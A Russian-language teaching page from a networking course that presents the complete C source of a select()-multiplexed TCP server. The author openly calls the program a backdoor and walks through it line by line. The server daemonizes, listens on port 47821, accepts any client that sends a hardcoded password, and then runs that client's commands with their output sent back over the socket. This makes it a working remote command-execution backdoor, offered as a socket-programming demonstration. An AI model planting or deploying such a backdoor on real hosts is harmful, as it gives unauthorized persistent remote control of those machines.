Сети    

  BSD сокеты ~ 
  Ввод-вывод в Unix ~ 
  Примеры ~ 
  Перехват пакетов ~ 
  Пример сервера ~ 
  Еще примеры ~ 
/Студентам/Сети/Пример сервера

Перед тем, как описывать нижеприведенную программу, несколько слов о серверах вообще. Назовем сеансом промежуток времени, в течение которого существует соединение между клиентом и сервером. В зависимости от длительности сеанса (времени существования соединения) к серверу предъявляются существенно разные требования. Если он короткий (по человеческим меркам, например, меньше 10 секунд), то сервер допустимо написать таким образом, чтобы в каждый момент времени существовало только одно соединение с каким-то клиентом. Такой сервер будем называть ПОСЛЕДОВАТЕЛЬНЫМ сервером, так как клиентов он обслуживает по-очереди, последовательно. Безусловно, при интенсивной загрузке такого рода сервера (много клиентов, пытающихся установить соединение), несмотря на малое время обслуживания, клиенты будут ожидать соединения в очереди и время этого ожидания будет, естественно больше, чем время обслуживания.

Если же природа сервера (оказываемой им услуги) такова, что требует значительного времени (минуты-часы-дни-...), то вероятность одновременного появления многих клиентов, понятное дело, возрастает и подход, при котором все клиенты обслуживаются по очереди (пока не закончен сеанс с одним клиентом, не может быть начат сеанс с другим клиентом) становится неразумным. Назовем ПАРАЛЛЕЛЬНЫМ сервером такой сервер, для которого в каждый момент времени может существовать более одного соединения с клиентами. Как это можно организовать, написано здесь.

Примерами услуг, для оказания которых можно использовать простые последовательные сервера, могут быть, например, выдача текущего времени, эхо-служба и подобные. Большинство же более или менее полезных услуг требует более или менее продолжительного сеанса, поэтому все сервера, их предоставляющие, как правило, являются паралелльными. В качестве примера можно упомянуть различного рода файловые сервера (HTTP, FTP), сервера, предоставляющие доступ к машине как к таковой (telnet, ssh) и прочие.

Ниже приведен исходный текст программы-сервера, представляющей собой нечто подобное telnet-серверу. Некоторые уже догадались, что по сути, такая программа, запущенная на каком-то узле в сети, есть не что иное, как backdoor. Понятное дело, для того, чтобы его запустить, Вы должны иметь полноценный доступ к этому узлу и работать он будет без принятия спец-мер до первой перезагрузки этого узла. Ну или до тех пор, пока администратор оного не обнаружит наличие этой дырочки, вернее, дырищи :-). Backdoor, естественно, сделан паралелльным. Мультиплексирование осуществляется на основе системного вызова select. По сравнению с другими способами использование select или poll, по моему скромному мнению, наиболее просто реализумо алгоритмически ( на пользовательском уровне, естественно; на исходный текст этих двух вызовов лучше не смотреть, можно заработать депрессию, бессоницу и вечное ощущение своей тупости :-) ). Кроме того, эти вызовы будут правильно работать на всех или почти всех юниксообразных ОС, в отличие, например, от механизма сигналов по стандарту POSIX - например, в ядрах 2.2 Linux обработчикам сигнала SIGIO упорно не передается номер файлового дескриптора (или у меня кривые ручки :-) ).

Важное замечание по поводу этого сервера: он не позволяет работать с ИНТЕРАКТИВНЫМИ программами, то есть с такими программами, которые в течение времени жизни (от запуска до завершения) требуют каких-то действий от пользователя, хотя бы для того, чтобы из нее выйти. Поэтому Вам не удастся использовать, скажем, программный интерпертатор типа sh; не получится также сменить пароль с помощью passwd. Кроме того, не будут работать программы, требующие полноценный терминал. Например, вы не сможете запустить pine. Некоторые не очень сообразительные программы (mc например) запускаются, но и только. Другие программы (less, man) будут вести себя не так, как при наличии терминала - например, не будет никакой прокрутки. Наконец, НЕИНТЕРАКТИВНЫЕ программы, хотя и работают как положено, но если они в некотором смысле долго не завершаются, то получают по голове дубинкой с надписью SIGKILL. В общем, в программе много всяких несовершенств, но реализация полноценного telnet-сервера совершенно не входила в мои планы :-); это всего лишь демонстрация использования tcp-сокетов, а также мультиплексирования ввода-вывода.

Специального клиента для этого сервера нет, я использовал telnet. Итак, вот исходный текст, после него следует описание работы программы.


     1 #include <unistd.h>
     2 #include <stdio.h>
     3 #include <stdlib.h>
     4 #include <errno.h>
     5 #include <string.h>
     6 #include <sys/types.h>
     7 #include <netinet/in.h>
     8 #include <sys/socket.h>
     9 #include <arpa/inet.h>
    10 #include <sys/types.h>
    11 #include <sys/wait.h>
    12 #include <sys/ioctl.h>
    13 #include <sys/stat.h>
    14 #include <fcntl.h>
    15 #include <netdb.h>
    16 #include <signal.h>
    17 
    18 #define BACKDOOR_PORT 0xBACD
    19 // :-))) it's BACk Door, isn't it?
    20 // 47821 decimal
    21 
    22 #define DEBUG
    23 #undef DEBUG
    24 
    25 pid_t pid;
    26 
    27 void init_daemon(void);
    28 void do_back_dooring(void);
    29 int accept_client(int fd);
    30 int do_the_job(int fd);
    31 
    32 int main(int argc, char *argv[])
    33 {
    34 #ifndef DEBUG
    35  pid = fork();
    36  
    37  if ( pid < 0 ) {
    38   perror("fork()");
    39   exit(1);
    40  };
    41 
    42  if ( pid > 0 ) { // parent
    43   printf("90|) 833 \\/\\/17|-| j00 ... \n");
    44   exit(0);
    45  };
    46 #endif 
    47  // pid == 0, we are child, become a daemon
    48  init_daemon();
    49    
    50  while (1) {
    51   do_back_dooring();
    52  };
    53 }
    54 
    55 int back_door;
    56 struct sockaddr_in back_door_side;
    57 fd_set main_set;
    58 int max_fd;
    59 
    60 void init_daemon(void)
    61 {
    62 
    63  int ret;
    64   
    65  back_door = socket(PF_INET, SOCK_STREAM, 0);
    66  if ( back_door == -1 ) {
    67   perror("socket()");
    68   exit(1);
    69  };
    70  
    71  back_door_side.sin_family = AF_INET;
    72  back_door_side.sin_port = htons(BACKDOOR_PORT);
    73  back_door_side.sin_addr.s_addr = INADDR_ANY;
    74  
    75  memset( &(back_door_side.sin_zero), 
    76          0, 
    77   sizeof(back_door_side.sin_zero)
    78        );
    79  
    80  ret = bind( back_door, 
    81              (struct sockaddr*)&back_door_side, 
    82       sizeof(struct sockaddr)
    83            );
    84 
    85  if ( ret == -1 ) {
    86   perror("bind()");
    87   exit(1);
    88  };
    89  
    90  ret = listen(back_door, 10);
    91  if ( ret == -1 ) {
    92   perror("listen()");
    93   exit(1);
    94  };
    95 
    96 #ifndef DEBUG
    97 // be daemon
    98  close(STDIN_FILENO);
    99  close(STDOUT_FILENO); 
   100  close(STDERR_FILENO);
   101  setsid();
   102 #endif
   103 
   104  FD_ZERO(&main_set);
   105  FD_SET(back_door, &main_set);
   106  max_fd = back_door;
   107 }
   108 
   109 fd_set temp_set;
   110 char *prompt = "::B@(|<|)00R::> ";
   111 
   112 void do_back_dooring(void)
   113 {
   114  int ret;
   115  int fd;
   116  
   117  memcpy(&temp_set, &main_set, sizeof(fd_set));
   118  
   119  ret = select(max_fd+1, &temp_set, NULL, NULL, NULL);
   120  if ( ret < 0 ) {
   121   FD_ZERO(&temp_set);
   122   return;
   123  };
   124  
   125  for (fd = 0; fd <= max_fd; fd++) {
   126   if ( FD_ISSET(fd, &temp_set) ) {
   127    if ( fd == back_door) { // new client
   128     accept_client(fd);
   129    } else { 
   130     if (!do_the_job(fd)) {
   131      FD_CLR(fd, &main_set);
   132      close(fd);
   133     };
   134     write(fd, prompt, strlen(prompt));
   135    };
   136   };
   137  };
   138 }
   139 
   140 char *hi = "j00 4R3 \\/\\/3l(0|v|3 ... )\n";
   141 #define BUFS 1024
   142 char buf[BUFS];
   143 
   144 
   145 int accept_client(int back_door)
   146 {
   147  int ret;
   148  struct sockaddr_in visiter;
   149  int addr_size = sizeof(struct sockaddr_in);
   150 
   151  ret = accept( back_door, 
   152                (struct sockaddr *)&visiter, 
   153         &addr_size
   154       );
   155  
   156  if (ret == -1)
   157   return 0;
   158  
   159  write(ret, hi, strlen(hi));
   160  write(ret, prompt, strlen(prompt));
   161  
   162  memset(buf, 0, BUFS);
   163  if ( read(ret, buf, BUFS) == -1 ) return 0;
   164  
   165  if ( !strncmp(buf, "SECRET_WORD", 11)) {
   166   memset(buf, 0, BUFS);
   167   if (ret > max_fd)
   168    max_fd = ret;
   169   FD_SET(ret, &main_set);
   170   write(ret, prompt, strlen(prompt));
   171  } else 
   172   close(ret);
   173 
   174  return 0;
   175 }
   176 
   177 
   178 char * bye = "8y3, 533 j00!\n";
   179 
   180 void sig_chld_handler(int sign)
   181 {
   182  return;
   183 }
   184 
   185 char *prog = buf;
   186 char *args[13];
   187 
   188 int do_the_job(int fd)
   189 {
   190  int ret;
   191  pid_t pid;
   192  int child_status;
   193  char *tok;
   194  int argn;
   195  
   196  memset(buf, 0, BUFS);
   197  ret = read(fd, buf, BUFS);
   198  if ( ret == -1 )
   199   return 0;
   200  
   201  if ( !strncmp(buf, "STOP", 4)) {
   202   write(fd, bye, strlen(bye));
   203   return 0;
   204  };
   205 
   206  if ( !strncmp(buf, "$+0p", 4)) {
   207   write(fd, bye, strlen(bye));
   208   return 0;
   209  };
   210 
   211  buf[strlen(buf)-2] = 0;
   212  if (!strlen(buf)) {
   213   return 1;
   214  };
   215  
   216  tok = strtok(buf, " ");
   217  argn = 0;
   218  while ( (tok) && (argn < (13-1) ) ) {
   219   args[argn] = tok;
   220   argn++;
   221   tok = strtok(NULL, " ");
   222  };
   223  args[argn] = NULL;
   224 
   225  if ( !strncmp(args[0], "cd", 2) ) {
   226   chdir(args[1]);
   227   if ( !args[1] )
   228    chdir("/usr/users/kotletkins/");
   229   return 1;
   230  };
   231  
   232  pid = fork();
   233  
   234  switch (pid) {
   235  
   236  case 0: // child, exec command
   237   dup2(fd, STDIN_FILENO);
   238   dup2(fd, STDOUT_FILENO);
   239   dup2(fd, STDERR_FILENO);
   240   ret = execvp(prog, args);
   241   if (ret == -1) {
   242    printf("%s: %s\n", prog, strerror(errno));
   243    exit(1);
   244   }
   245  break;
   246  
   247  case -1:
   248   return 0;
   249  break;
   250  
   251  default: // parent, wait the child
   252   signal(SIGCHLD, sig_chld_handler);
   253   ret = sleep(5);
   254   if ( ret == 0 ) // child did not exit yet, kill it
   255    kill(pid, SIGKILL);
   256   signal(SIGCHLD, SIG_IGN);
   257   
   258   waitpid(pid, &child_status, 0);
   259  };
   260  
   261  return 1;
   262 }

Первые 16 строчек - подключение заголовочных файлов. В строчке 18 содержится макроопределение для номера порта, на котором будет "висеть" backdoor. В строчках 27-30 объявлены 4 функции. Помимо них, в программе есть еще 2 функции - сама собой разумеющаяся main и "обработчик" сигнала SIGCHLD. Строчки 32-53 - main. Выполняет следующие действия: порождает дочерний процесс, который производит подготовку к работе, вызывая init_daemon() и затем в бесконечном цикле вызывает do_back_dooring(). Родительский процесс просто завершается. Строчки 60-107, функция init_daemon(): создается tcp-сокет, привязывается к упомянутому порту, переводится в режим прослушивания; затем сервер переходит в фоновый режим, закрывая файловые дескрипторы 0, 1 и 2 и создавая новую сессию; строчка 104 - очистить набор дескрипторов main_set (этот набор используется для хранения всех имеющихся дескрипторов); строчка 105 - в набор добавляется "главный" сокет, то есть сокет, переведенный в режим прослушивания; в следующей строчке запоминается, что пока самый "большой" дескриптор - это "главный" сокет.

После инициализации демон в бесконечном цикле вызывает функцию do_back_dooring() (строки 112-138). В ней производятся следующие действия: набор дескрипторов main_set копируется в набор temp_set (это необходимо, поскольку select удаляет из набора дескрипторы, не готовые к операции ввода-вывода); вызывается select, далее в цикле проверяем, какие из дескрипторов готовы к операции ЧТЕНИЯ; при этом отдельно проверяется "главный" (слушающий) сокет - если он готов к операции чтения, это означает, что имеется клиент, желающий установить соединение; если среди готовых оказался "главный" сокет, то вызывается функция accept_client(), для всех прочих сокетов вызывается do_the_job(); если при вызове последней произошла ошибка, то соответсвующий дескриптор удаляется из набора main_set и закрывается, тем самым соединение с данным клиентом со стороны сервера завершается. Если команда выполнилась нормально, выводится подсказка (это несколько необычно, обычно подсказку выводит программа-клиент, но клиента специального нет, использовался telnet, который, ясна консоль, ничего не выводит кроме того, что присылает ему сервер).

Рассмотрим теперь функцию accept_client(). В ней сначала принимается соединение от клиента, затем ему высылается приветствие и подсказка. Затем очищается входной буфер и в него принимается то, что прислал клиент. От клиента сразу же после установления соединения требуется прислать слово "SECRET_WORD". Если прислано что-то другое, соединение с этим клиентом разрывается. Таким образом, воспользоваться этим backdoor может только тот, кто знает, что после приветствия сервера первым делом нужно ввести обозначенный пароль. Если "face-control" прошел успешно, новый дескриптор добавляется в набор main_set, если нужно, перезапоминается самый "большой" дескриптор и опять выводится подсказка.

Функция do_the_job()(строки 188-262) - это функция, которая, собственно, и исполняет команды, приходящие от клиента. Делает она это следующим образом. В предварительно очищенный нулями буфер принимается команда. Затем демон пытается понять, что именно от него хотят. Если первые 4 символа - "STOP", то это сигнал завершить сеанс, возвращаемся с кодом 0. Вообще, эта функция возвращает 0, если нужно завершить сеанс и 1, если не нужно. А само завершение (если нужно) делается в do_back_dooring() по возвращении do_the_job(). Если строка пустая (просто жмакали Enter в клиенте), тоже возвращаемся с кодом 1 (не надо завершать сеанс). В строках 216-223 присланное клиентом разбирается на кусочки, разделителем считается пробел. Таким образом формируется массив для передачи функции execve(). Строки 225-230 - реализация команды cd (программы с таким именем нет, это внутренняя команда оболочек). После выполнения возвращаемся с кодом 1. Если же заканчивать сеанс не нужно, не cd, ошибок не произошло, то тогда пытаемся выполнить требуемую команду. Понятное дело, это нужно делать в отдельном процессе. Посему - fork(), дочерний процесс запускает на исполнение ту или иную программу, а родительский просто ждет его. Есть пара тонкостей. Дочерний процесс перед тем, как запустить программу на исполнение, дублирует файловые дескрипторы таким образом, что после этого все три стандартных дескриптора для нее - это сокет, по которому демон обменивается данными с клиентом. Это означает, что все данные, которые запущенная программа выдает на стандартное устройство вывода, попадут прямиком в сокет, то есть к клиенту. Вторая тонкость касается родительского процесса, а именно того, как он ожидает завершения работы потомка. Как уже говорилось выше, данный сервер не дает запущенным из него процессам работать дольше некоторого периода времени. Это делается следующим образом (см строки 251-258). Перед тем, как непосредственно вызвать wait()/waitpid(), устанавливается обработчик сигнала SIGCHLD (завершение потомка). Сам обработчик НИКАКИХ действий не выполняет, он нужен только для того, чтобы указать его имя при обращении к системному вызову signal(). Дело в том, что реакция на этот сигнал по-умолчанию состоит в том, что он игнорируется; мы же далее вызываем sleep(), которая возвращается тогда, когда истекло заданное время ИЛИ ПРИШЕЛ СИГНАЛ, который НЕ ИГНОРИРУЕТСЯ данным процесом. Если не установить обработчик, то sleep() не прервется сигналом SIGCHLD. Ежели мы установили обработчик, то после возврата из sleep() возможны две ситуации: получен сигнал (программа полагает, что это SIGCHLD, однако, это совсем не обязательно, в этом случае программа будет делать немножко не то, что задумано) и истекло заданное время. Эти 2 ситуации различаются по коду возврата sleep(). Если она вернула 0, это означает, что указанное время истекло полностью, то есть за это время сигнал SIGCHLD не пришел, то есть потомок еще не завершился. В этом случае без особых церемоний этот заработавшийся потомок получает SIGKILL, что приводит к его завершению. После этого с помощью signal() SIGCHLD игнорируется и вызывается waitpid(). Последнее обязательно, дабы не плодить зомби.

Дата последней модификации: 2012-03-30


/Студентам/Сети/Пример сервера

Содержимое данного сайта может быть использовано кем угодно, когда угодно, как угодно и для каких угодно целей. Автор сайта не несёт абсолютно никакой ответственности за землетрясения, наводнения, финансовые кризисы, глобальные потепления/похолодания, разбитые тарелки, зуд/онемение в левой/правой пятке читателя, эпидемии/пандемии свинячьего/птичьего/тараканьего и иных гриппов, а также за прочие негативные, равно как и позитивные, последствия, вызванные прямым или косвенным использованием материалов данного сайта кем бы то ни было, включая самого автора. При копировании/цитировании материалов данного сайта любым технически возможным в настоящее время способом, а также способом, могущим стать возможным в будущем, указание (либо неуказание) ссылки на первоисточник лежит, блин, тяжким грузом на совести копирующего/цитирующего.

Valid HTML 4.0 Strict Valid CSS!